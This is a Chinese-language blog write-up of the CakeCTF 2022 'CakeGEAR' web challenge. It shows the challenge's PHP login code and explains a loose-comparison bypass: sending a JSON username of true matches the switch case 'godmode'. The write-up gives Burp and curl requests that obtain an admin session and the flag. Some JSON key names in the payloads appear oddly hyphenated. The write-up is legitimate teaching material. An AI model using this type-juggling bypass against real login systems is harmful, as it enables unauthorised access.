• [CakeCTF2022-09-04]CakeGEAR-Writeup


    [CakeCTF2022]CakeGEAR:web:98pts

    知识点:

    1. PHP 弱比较(松散比较: loose comparison)
    2. switch-case语句的松散比较
    
    • 1
    • 2
    Can you crack the login portal of CakeGEAR router?
    
    • 1

    Solution

    提供链接和来源。
    当您访问它时,它看起来像一个登录页面。
    登录-CAKEGEAR

    在这里插入图片描述

    我随机输入但没有发生任何事情,所以我查看了题目提供的源代码。
    admin.php 没有什么可疑的地方,而且好像设置了 admin 标志,就可以获得flag。

    都是用的强类型比较( ===, !== )。

    # admin.php
    <?php
    session_start();
    if (empty($_SESSION['login']) || $_SESSION['login'] !== true) {
        header("Location: /index.php");
        exit;
    }
    
    if ($_SESSION['admin'] === true) {
        $mode = 'admin';
        $flag = file_get_contents("/flag.txt");
    } else {
        $mode = 'guest';
        $flag = "***** Access Denied *****";
    }
    ?>
    <!DOCTYPE html>
    <html>
        <head>
            <meta charset="UTF-8">
            <title>control panel - CAKEGEAR</title>
            <style>table, td { margin: auto; border: 1px solid #000; }
        </head>
        <body style="text-align: center;">
            <h1>Router Control Panel</h1>
            <table><tbody>
                <tr><td><b>Status</b></td><td>UP</td></tr>
                <tr><td><b>Router IP</b></td><td>192.168.1.1</td></tr>
                <tr><td><b>Your IP</b></td><td>192.168.1.7</td></tr>
                <tr><td><b>Access Mode</b></td><td><?= $mode ?></td></tr>
                <tr><td><b>FLAG</b></td><td><?= $flag ?></td></tr>
            </tbody></table>
        </body>
    </html>
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35

    查看index.php,如下。

    # index.php
    <?php
    session_start();
    $_SESSION = array();
    define('ADMIN_PASSWORD', 'f365691b6e7d8bc4e043ff1b75dc660708c1040e');
    
    /* Router login API */
    $req = @json_decode(file_get_contents("php://input"));
    if (isset($req->username) && isset($req->password)) {
        if ($req->username === 'godmode'
            && !in_array($_SERVER['REMOTE_ADDR'], ['127.0.0.1', '::1'])) {
            /* Debug mode is not allowed from outside the router */
            $req->username = 'nobody';
        }
    
        switch ($req->username) {
            case 'godmode':
                /* No password is required in god mode */
                $_SESSION['login'] = true;
                $_SESSION['admin'] = true;
                break;
    
            case 'admin':
                /* Secret password is required in admin mode */
                if (sha1($req->password) === ADMIN_PASSWORD) {
                    $_SESSION['login'] = true;
                    $_SESSION['admin'] = true;
                }
                break;
    
            case 'guest':
                /* Guest mode (low privilege) */
                if ($req->password === 'guest') {
                    $_SESSION['login'] = true;
                    $_SESSION['admin'] = false;
                }
                break;
        }
    
        /* Return response */
        if (isset($_SESSION['login']) && $_SESSION['login'] === true) {
            echo json_encode(array('status'=>'success'));
            exit;
        } else {
            echo json_encode(array('status'=>'error'));
            exit;
        }
    }
    ?>
    <!DOCTYPE html>
    <html>
        <head>
            <meta charset="UTF-8">
            <title>login - CAKEGEAR</title>
            <style>input { margin: 0.5em; }</style>
        </head>
        <body style="text-align: center;">
            <h1>CakeWiFi Login</h1>
            <div>
                <label>Username</label>
                <input type="text" id="username" required>
                <br>
                <label>Password</label>
                <input type="text" id="password" required>
                <br>
                <button onclick="login()">Login</button>
                <p style="color: red;" id="error-msg"></p>
            </div>
            <script>
             function login() {
                 let error = document.getElementById('error-msg');
                 let username = document.getElementById('username').value;
                 let password = document.getElementById('password').value;
                 let xhr = new XMLHttpRequest();
                 xhr.addEventListener('load', function() {
                     let res = JSON.parse(this.response);
                     if (res.status === 'success') {
                         window.location.href = "/admin.php";
                     } else {
                         error.innerHTML = "Invalid credential";
                     }
                 }, false);
                 xhr.withCredentials = true;
                 xhr.open('post', '/');
                 xhr.send(JSON.stringify({ username, password }));
             }
            </script>
        </body>
    </html>
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
    • 83
    • 84
    • 85
    • 86
    • 87
    • 88
    • 89
    • 90

    题目提供了一个 ADMIN_PASSWORD ,google查询、cmd5均没有查询到对应的明文。除了问题创建者之外,地球人的“ADMIN_PASSWORD”密码是不可能猜到的。另外,发现有一个叫做 “godmode” 的东西,所以我认为目标可能是成为这个用户。

    然而,它在本地环境之外变成了“nobody”。

    if ($req->username === 'godmode'
        && !in_array($_SERVER['REMOTE_ADDR'], ['127.0.0.1', '::1'])) {
        /* Debug mode is not allowed from outside the router */
        $req->username = 'nobody';
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5

    乍一看,它看起来像 SSRF,但 $_SERVER['REMOTE_ADDR'] 似乎不可修改。换句话说,!in_array($_SERVER['REMOTE_ADDR'], ['127.0.0.1', '::1']) 不能设置为 False。

    那么,剩下的就是$req->username === 'godmode',这是一个严格的比较,所以很容易让它为False。

    switch ($req->username) {
    case 'godmode':
    /* No password is required in god mode */
    $_SESSION['login'] = true;
    $_SESSION['admin'] = true;
    break;
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    这里的问题是 switch 语句中的 case 'godmode':

    经查询PHP 的手册,发现 case switch 是松散比较的(loose comparison)。

    https://www.php.net/manual/en/control-structures.switch.php
    
    The switch statement is similar to a series of IF statements on the same expression. 
    Note that switch/case does loose comparison.
    switch 语句类似于同一表达式上的一系列 IF 语句。
    请注意,开关/案例确实比较松散。
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    在HackTricks中,找到松散比较的trick:

    https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/php-tricks-esp#bypassing-php-comparisons
    
    • 1

    在这里插入图片描述

    松散比较的运行结果如下:

    $ php -a
    php > echo True == 'godmode';
    1
    
    • 1
    • 2
    • 3

    换句话说,您应该将用户名设置为 true。我们可以burp抓包,发现HTTP data部分是json,直接修改即可:

    {"user-na-me":"admin","pass-w-o-rd":"admin"}
                  |
    {"use-rna-me":true,"pas-sw-or--d":"admin"}
    
    • 1
    • 2
    • 3

    也可以使用curl:

    $ curl -X POST http://web1.2022.cakectf.com:8005/ --data '{"us-er-na-me":true,"pass--wo-rd":""}' -v
    ~~~
    < Set-Cookie: PHPSESSID=6cf678953e16999644a963f88b92cc13; path=/
    ~~~
    {"status":"success"}
    
    # 这里登录成功,返回结果为success。 同时获得了Cookie。
    # 再利用该cookie,访问admin.php页面:
    $ curl -X POST http://web1.2022.cakectf.com:8005/admin.php -H "Cookie: PHPSESSID=6cf678953e16999644a963f88b92cc13"
    <!DOCTYPE html>
    <html>
        <head>
            <meta charset="UTF-8">
            <title>control panel - CAKEGEAR</title>
            <style>table, td { margin: auto; border: 1px solid #000; }
        </head>
        <body style="text-align: center;">
            <h1>Router Control Panel</h1>
            <table><tbody>
                <tr><td><b>Status</b></td><td>UP</td></tr>
                <tr><td><b>Router IP</b></td><td>192.168.1.1</td></tr>
                <tr><td><b>Your IP</b></td><td>192.168.1.7</td></tr>
                <tr><td><b>Access Mode</b></td><td>admin</td></tr>
                <tr><td><b>FLAG</b></td><td>CakeCTF{y0u_mu5t_c4st_2_STRING_b3f0r3_us1ng_sw1tch_1n_PHP}
    </td></tr>
            </tbody></table>
        </body>
    </html>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28

    得到flag。

    CakeCTF{y0u_mu5t_c4st_2_STRING_b3f0r3_us1ng_sw1tch_1n_PHP}
    
    • 1
  • 相关阅读:
    指针和数组笔试题解析
    Linux学习——线程的创建和回收
    如何在openstack环境下实现高性能的网络服务
    vue3学习笔记--1.
    【MySQL】数据库的约束
    Excel如何给数字加双引号或者加单引号加逗号
    Android学习笔记 5. ProgressBar
    这是我见过最牛逼的滑动加载前端框架
    Linux C语言 vim编辑器 使用 sqlite3数据库 makefile 的网络编程 qq 聊天室项目
    【数据结构】链表(及其单链表实现)
  • 原文地址:https://blog.csdn.net/rickliuxiao/article/details/126700252